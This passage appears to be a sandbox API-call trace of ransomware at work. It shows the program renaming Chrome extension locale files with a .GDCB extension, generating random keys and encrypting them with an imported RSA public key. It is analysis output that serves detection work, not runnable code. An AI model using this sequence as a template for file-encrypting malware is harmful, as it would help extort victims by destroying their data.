dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0256.104] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0256.107] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0256.111] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd9, lpOverlapped=0x0) returned 1 [0256.119] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0256.132] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json.gdcb")) returned 1 [0256.137] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0256.140] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.143] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.143] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0256.143] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0256.143] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0256.145] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.147] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.147] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0256.147] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0256.148] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0256.150] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790520) returned 1 [0256.150] CryptGetKeyParam (in: hKey=0x6790520, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.150] CryptEncrypt (in: hKey=0x6790520, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0256.150] GetLastError () returned 0x0 [0256.150] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.150] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0256.152] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67905e0) returned 1 [0256.152] CryptGetKeyParam (in: hKey=0x67905e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.152] CryptEncrypt (in: hKey=0x67905e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0256.152] GetLastError () returned 0x0 [0256.152] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0256.152] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0256.153] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0256.156] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0256.159] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x104, lpOverlapped=0x0) returned 1 [0256.167] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0256.174] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json.gdcb")) returned 1 [0256.180] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0256.183] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.185] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.185] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0256.185] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.185] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0256.187] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.190] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.190] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0256.190] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.190] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0256.192] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790560) returned 1 [0256.192] CryptGetKeyParam (in: hKey=0x6790560, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.192] CryptEncrypt (in: hKey=0x6790560, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0256.192] GetLastError () returned 0x0 [0256.192] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.192] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0256.194] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790460) returned 1 [0256.194] CryptGetKeyParam (in: hKey=0x6790460, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.194] CryptEncrypt (in: hKey=0x6790460, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0256.195] GetLastError () returned 0x0 [0256.195] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0256.195] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0256.196] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0256.199] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0256.201] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd0, lpOverlapped=0x0) returned 1 [0256.210] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0256.218] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\messages.json.gdcb")) returned 1 [0256.223] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0256.226] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.228] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.228] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0256.228] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.228] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0256.230] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.232] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.233] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0256.233] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0256.233] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0256.235] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790320) returned 1 [0256.235] CryptGetKeyParam (in: hKey=0x6790320, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.235] CryptEncrypt (in: hKey=0x6790320, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0256.236] GetLastError () returned 0x0 [0256.236] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.236] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0256.237] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790360) returned 1 [0256.237] CryptGetKeyParam (in: hKey=0x6790360, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.238] CryptEncrypt (in: hKey=0x6790360, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0256.238] GetLastError () returned 0x0 [0256.238] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0256.238] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0256.239] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0256.242] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0256.244] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd1, lpOverlapped=0x0) returned 1 [0256.252] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0256.260] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us\\messages.json.gdcb")) returned 1 [0256.265] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0256.268] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.270] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.270] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0256.270] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.270] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0256.273] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.275] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.275] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0256.275] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.275] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0256.277] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790660) returned 1 [0256.277] CryptGetKeyParam (in: hKey=0x6790660, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.277] CryptEncrypt (in: hKey=0x6790660, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0256.277] GetLastError () returned 0x0 [0256.277] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.277] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0256.279] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790260) returned 1 [0256.279] CryptGetKeyParam (in: hKey=0x6790260, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.279] CryptEncrypt (in: hKey=0x6790260, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0256.280] GetLastError () returned 0x0 [0256.280] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0256.280] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0256.281] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0256.284] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0256.286] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xce, lpOverlapped=0x0) returned 1 [0256.294] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0256.301] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json.gdcb")) returned 1 [0256.306] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0256.309] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.311] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.311] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0256.311] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0256.311] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0256.314] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.316] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.316] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0256.316] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.317] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0256.319] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790420) returned 1 [0256.319] CryptGetKeyParam (in: hKey=0x6790420, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.319] CryptEncrypt (in: hKey=0x6790420, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0256.319] GetLastError () returned 0x0 [0256.319] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.319] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0256.321] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67903a0) returned 1 [0256.321] CryptGetKeyParam (in: hKey=0x67903a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.321] CryptEncrypt (in: hKey=0x67903a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0256.321] GetLastError () returned 0x0 [0256.321] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0256.321] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0256.322] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0256.325] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 